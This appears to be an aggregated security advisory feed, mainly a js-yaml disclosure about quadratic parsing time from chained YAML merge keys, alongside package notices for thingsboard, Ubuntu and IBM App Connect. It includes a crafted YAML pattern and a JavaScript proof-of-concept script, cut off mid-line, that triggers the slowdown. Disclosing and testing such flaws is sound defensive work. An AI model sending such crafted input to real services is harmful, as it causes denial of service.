Withdrawn by the publisher.

Affected: CleanStart: thingsboard

Package thingsboard version 4.3.1.3-r4 fixes 4 vulnerabilities: CVE-2026-59869, ghsa-52cp-r559-cp3m, ghsa-h67p-54hq-rp68, CVE-2026-53550

js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.

Affected: npm: js-yaml

### Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ```

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

### PoC

From N = 4000 delay become > 1s (doc size < 100K)

```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }']

for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) }

lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` }

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${O…

js-yaml: js-yaml: Denial of Service via crafted YAML documents

Affected: Ubuntu:18.04:LTS: node-js-yaml, Ubuntu:20.04:LTS: node-js-yaml, Ubuntu:22.04:LTS: node-js-yaml, Ubuntu:24.04:LTS: node-js-yaml, Ubuntu:25.10: node-js-yaml, Ubuntu:26.04:LTS: node-js-yaml

js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.

Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um Sicherheitsvorkehrungen zu umgehen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, und um Daten zu manipulieren.